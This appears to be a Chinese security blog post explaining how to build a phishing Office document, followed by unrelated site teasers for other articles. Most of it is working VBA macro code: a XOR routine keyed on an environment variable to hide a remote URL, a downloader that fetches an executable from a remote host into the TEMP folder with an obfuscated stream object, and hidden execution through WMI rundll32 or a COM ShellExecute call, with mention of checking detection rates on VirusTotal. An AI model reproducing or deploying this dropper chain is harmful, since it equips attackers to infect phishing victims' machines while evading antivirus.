钓鱼文档整理

VSole2021-12-12 06:43:52

这个思路是在国外一个网站上看到的,原文在这(https://0xdf.gitlab.io/2018/07/31/malware-analysis-muddoc.html),在此感谢作者给出的思路,这里简单来给大家看下总体思路:

大体思路就是使用环境变量去xor解密远程url地址,然后落地化dll,调用rundll32去运行dll,得到sessIon。

我们先来看一下用了xor加密的函数

(http://www.vbaexpress.com/kb/getarticle.php?kb_id=951):


Function XorC(ByVal sData As String, ByVal sKey As String) As String
Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
Dim bEncOrDec As Boolean
If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function
If Left$(sData, 3) = "xxx" Then
bEncOrDec = False
sData = Mid$(sData, 4)
Else
bEncOrDec = True
End If
byIn = sData
byOut = sData
byKey = sKey
l = LBound(byKey)
For i = LBound(byIn) To UBound(byIn) - 1 Step 2
byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
l = l + 2
If l > UBound(byKey) Then l = LBound(byKey)
Next i
XorC = byOut
If bEncOrDec Then XorC = "xxx" & XorC
End Function

该函数接收两个参数,一个字符串、一个key。而为了安全起见,我们的key不直接写入到宏中,我们这里选择使用环境变量来获取key,机器上的环境变量可以使用set命令来查看:

我们在选择key是,要注意目标环境的变量,每个机器变量可能都不尽相同,不过有一些变量是相同的,我这里选择的是PROCESSOR_REVISION,值为9e0a,那么这里我们就要用到一个样本了,样本已上传到github(https://github.com/lengjibo/RedTeamTools/blob/master/windows/macros/encryptor.xls),该宏可用于加密我们的url地址:

得到一个base64的字符串,然后解密

然后用我们的xor解密函数,key使用Environ来获取,来进行解密:

解密出来的稍微有些问题,这里需要主要环境变量的大小写问题,然后,我们使用下载函数,下载我们的dll,也就是之前的代码:


Dim payload As String
Dim namePrefix As String
Dim nameSuffix As String
Dim zzz As String
Dim dollop As Object
Dim dstPath As String
Dim savePath As String
namePrefix = "AppLaunch-actual"
nameSuffix = ".exe"
payload = "http://192.168.41.4/AppLaunch.exe"
zzz = payload
Dim downloadf
Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
downloadf.Open "GET", zzz, False
downloadf.setRequestHeader "Host", "192.168.41.4"
downloadf.Send
Set dollop = CreateObject(StrReverse("maertS.bdodA"))
dollop.Type = 1
dollop.Open
dollop.Write downloadf.responseBody
dstPath = Environ$("TEMP") & "\" & namePrefix & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2

替换里面的指定位置的内容即可,然后调用wmi来运行rundll32来运行我们的dll.

Const HIDDEN_WINDOW = 0
strComputer = "."
abc = "rundll32" & " " & dstPath & ",Start"
strGetObject = ("winmgmts:\\.\root\cimv2")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & (":Win32_Process"))
objProcess.Create abc, Null, objConfig, intProcessID

也就是稍微更改之前的代码即可,或者调用com组建进程调用:

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0


然后测试:

vt测试:

string
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
Adobe已经发布了一个名为Stringlifier的开源工具,该工具允许用户识别任何纯文本中随机生成的字符串,该工具可用于清理日志。Stringlifier工具是用Python编写的,它使用机器学习来识别插入普通文本中的随机字符序列。开源工具可用于出于多种目的分析日志,例如研究意外暴露的凭证。Stringlifier能够在源代码或配置文件中查找API密钥,哈希,随机生成的字符串,包括密码,日志。Adobe在Github上发布的描述中写道。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
当被问及网络间谍是否成功时,爱德华·斯金格表示,他非常有信心地确信,除了国防学院本身,没有任何其他危害行为。斯金格接受采访时透露,本次攻击看起来不像是一次暴力攻击,但有代价。国防学院立即意识到它可能已成为敌对国家在灰色地带式网络攻击中的目标的可能性。官方迅速采取了行动,对更广泛的国防部IT网络没有影响。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
VSole
网络安全专家